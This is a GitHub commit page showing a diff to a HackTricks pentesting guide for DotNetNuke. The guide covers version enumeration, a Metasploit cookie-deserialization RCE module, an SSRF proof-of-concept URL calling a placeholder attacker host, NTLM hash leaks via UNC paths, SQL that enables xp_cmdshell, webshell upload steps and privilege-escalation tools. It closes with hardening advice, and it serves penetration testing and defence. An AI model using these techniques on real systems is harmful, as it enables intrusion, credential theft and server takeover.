Skip to content

Commit 29e7c88

Browse files
authored
Merge pull request #1146 from HackTricks-wiki/research_update_src_network-services-pentesting_pentesting-web_dotnetnuke-dnn_20250717_162435
Research Update Enhanced src/network-services-pentesting/pen...
2 parents a7a7349 + ba12f16 commit 29e7c88

File tree

1 file changed

+74
-21
lines changed

1 file changed

+74
-21
lines changed

src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md

Lines changed: 74 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -4,44 +4,97 @@
44

55
## DotNetNuke (DNN)
66

7-
If you enter as **administrator** in DNN it's easy to obtain RCE.
7+
If you enter as **administrator** in DNN it's easy to obtain **RCE**, however a number of *unauthenticated* and *post-auth* techniques have been published in the last few years. The following cheat-sheet collects the most useful primitives for both offensive and defensive work.
88

9-
## RCE
9+
---
10+
## Version & Environment Enumeration
1011

11-
### Via SQL
12+
* Check the *X-DNN* HTTP response header – it usually discloses the exact platform version.
13+
* The installation wizard leaks the version in `/Install/Install.aspx?mode=install` (accessible on very old installs).
14+
* `/API/PersonaBar/GetStatus` (9.x) returns a JSON blob containing `"dnnVersion"` for low-privilege users.
15+
* Typical cookies you will see on a live instance:
16+
* `.DOTNETNUKE` – ASP.NET forms authentication ticket.
17+
* `DNNPersonalization` – contains XML/serialized user profile data (old versions – see RCE below).
1218

13-
A SQL console is accessible under the **`Settings`** page where you can enable **`xp_cmdshell`** and **run operating system commands**.
19+
---
20+
## Unauthenticated Exploitation
1421

15-
Use these lines to enable **`xp_cmdshell`**:
22+
### 1. Cookie Deserialization RCE (CVE-2017-9822 & follow-ups)
23+
*Affected versions ≤ 9.3.0-RC*
24+
25+
`DNNPersonalization` is deserialized on every request when the built-in 404 handler is enabled. Crafted XML can therefore lead to arbitrary gadget chains and code execution.
1626

17-
```sql
18-
EXEC sp_configure 'show advanced options', '1'
19-
RECONFIGURE
20-
EXEC sp_configure 'xp_cmdshell', '1'
21-
RECONFIGURE
2227
```
28+
msf> use exploit/windows/http/dnn_cookie_deserialization_rce
29+
msf> set RHOSTS <target>
30+
msf> set LHOST <attacker_ip>
31+
msf> run
32+
```
33+
The module automatically chooses the right path for patched but still vulnerable versions (CVE-2018-15811/15812/18325/18326). Exploitation works **without authentication** on 7.x–9.1.x and with a *verified* low-privilege account on 9.2.x+.
2334

24-
And press **"Run Script"** to run that sQL sentences.
35+
### 2. Server-Side Request Forgery (CVE-2025-32372)
36+
*Affected versions < 9.13.8 – Patch released April 2025*
2537

26-
Then, use something like the following to run OS commands:
38+
A bypass of the older `DnnImageHandler` fix enables an attacker to coerce the server to issue **arbitrary GET requests** (semi-blind SSRF). Practical impacts:
2739

28-
```sql
29-
xp_cmdshell 'whoami'
40+
* Internal port scan / metadata service discovery in cloud deployments.
41+
* Reach hosts otherwise firewalled from the Internet.
42+
43+
Proof-of-concept (replace `TARGET` & `ATTACKER`):
44+
```
45+
https://TARGET/API/RemoteContentProxy?url=http://ATTACKER:8080/poc
3046
```
47+
The request is triggered in the background; monitor your listener for callbacks.
3148

32-
### Via ASP webshell
49+
### 3. NTLM Hash Exposure via UNC Redirect (CVE-2025-52488)
50+
*Affected versions 6.0.0 – 9.x (< 10.0.1)*
3351

34-
In `Settings -> Security -> More -> More Security Settings` you can **add new allowed extensions** under `Allowable File Extensions`, and then clicking the `Save` button.
52+
Specially crafted content can make DNN attempt to fetch a resource using a **UNC path** such as `\\attacker\share\img.png`. Windows will happily perform NTLM negotiation, leaking the server-account hashes to the attacker. Upgrade to **10.0.1** or disable outbound SMB at the firewall.
3553

36-
Add **`asp`** or **`aspx`** and then in **`/admin/file-management`** upload an **asp webshell** called `shell.asp` for example.
54+
### 4. IP Filter Bypass (CVE-2025-52487)
55+
If administrators rely on *Host/IP Filters* for admin portal protection, be aware that versions prior to **10.0.1** can be bypassed by manipulating `X-Forwarded-For` in a reverse-proxy scenario.
3756

38-
Then access to **`/Portals/0/shell.asp`** to access your webshell.
57+
---
58+
## Post-Authentication to RCE
3959

40-
### Privilege Escalation
60+
### Via SQL console
61+
Under **`Settings → SQL`** a built-in query window allows execution against the site database. On Microsoft SQL Server you can enable **`xp_cmdshell`** and spawn commands:
4162

42-
You can **escalate privileges** using the **Potatoes** or **PrintSpoofer** for example.
63+
```sql
64+
EXEC sp_configure 'show advanced options', 1;
65+
RECONFIGURE;
66+
EXEC sp_configure 'xp_cmdshell', 1;
67+
RECONFIGURE;
68+
GO
69+
xp_cmdshell 'whoami';
70+
```
4371

44-
{{#include ../../banners/hacktricks-training.md}}
72+
### Via ASPX webshell upload
73+
1. Go to **`Settings → Security → More → More Security Settings`**.
74+
2. Append `aspx` (or `asp`) to **Allowable File Extensions** and **Save**.
75+
3. Browse to **`/admin/file-management`** and upload `shell.aspx`.
76+
4. Trigger it at **`/Portals/0/shell.aspx`**.
77+
78+
---
79+
## Privilege Escalation on Windows
80+
Once code execution is achieved as **IIS AppPool\<Site>**, common Windows privilege-escalation techniques apply. If the box is vulnerable you can leverage:
81+
82+
* **PrintSpoofer** / **SpoolFool** to abuse *SeImpersonatePrivilege*.
83+
* **Juicy/Sharp Potatoes** to escape *Service Accounts*.
84+
85+
---
86+
## Hardening Recommendations (Blue Team)
4587

88+
* **Upgrade** to at least **9.13.9** (fixes SSRF bypass) or preferably **10.0.1** (IP filter & NTLM issues).
89+
* Remove residual **`InstallWizard.aspx*`** files after installation.
90+
* Disable outbound SMB (ports 445/139) egress.
91+
* Enforce strong *Host Filters* on the edge proxy rather than within DNN.
92+
* Block access to `/API/RemoteContentProxy` if unused.
4693

4794

95+
96+
## References
97+
98+
* Metasploit `dnn_cookie_deserialization_rce` module documentation – practical unauthenticated RCE details (GitHub).
99+
* GitHub Security Advisory GHSA-3f7v-qx94-666m – 2025 SSRF bypass & patch information.
100+
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)